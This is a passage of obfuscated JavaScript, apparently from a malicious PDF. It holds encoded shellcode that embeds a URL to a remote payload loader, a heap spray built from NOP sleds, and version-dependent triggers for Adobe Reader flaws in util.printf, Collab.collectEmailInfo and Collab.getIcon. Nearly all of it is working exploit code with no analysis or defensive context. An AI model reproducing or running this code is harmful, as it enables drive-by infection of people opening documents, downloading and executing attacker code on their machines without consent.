h37c = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0033");
}
var m69s = 0x400000;
var v77z = h37c.length * 2;
var t89d = m69s - (v77z + 0x38);
var i34x = unescape("%u9090%u9090");
i34x = i25l(i34x, t89d);
var a26g = (f47k - 0x400000) / m69s;
for (var s61m = 0; s61m < a26g; s61m ++ ){
l26s[s61m] = i34x + h37c;
}
}
function f96v(){
var c73t = app.viewerVersion.toString();
if (c73t > 8){
s68s(1);
var g45k = "12999999999999999999";
for (z74x = 0; z74x < 276; z74x ++ ){
g45k += "8";
}
util.printf("%45000f", g45k);
}
if (c73t < 8){
s68s(0);
var i96i = unescape("%u0c0c%u0c0c");
while (i96i.length < 44952)i96i += i96i;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : i96i});
}
if (c73t < 9.1)
{
if (app.doc.Collab.getIcon){
s68s(2);
var t28s = unescape("%09");
while (t28s.length < 0x4000)t28s += t28s;
t28s = "N." + t28s;
app.doc.Collab.getIcon(t28s);
}
}
}
f96v();

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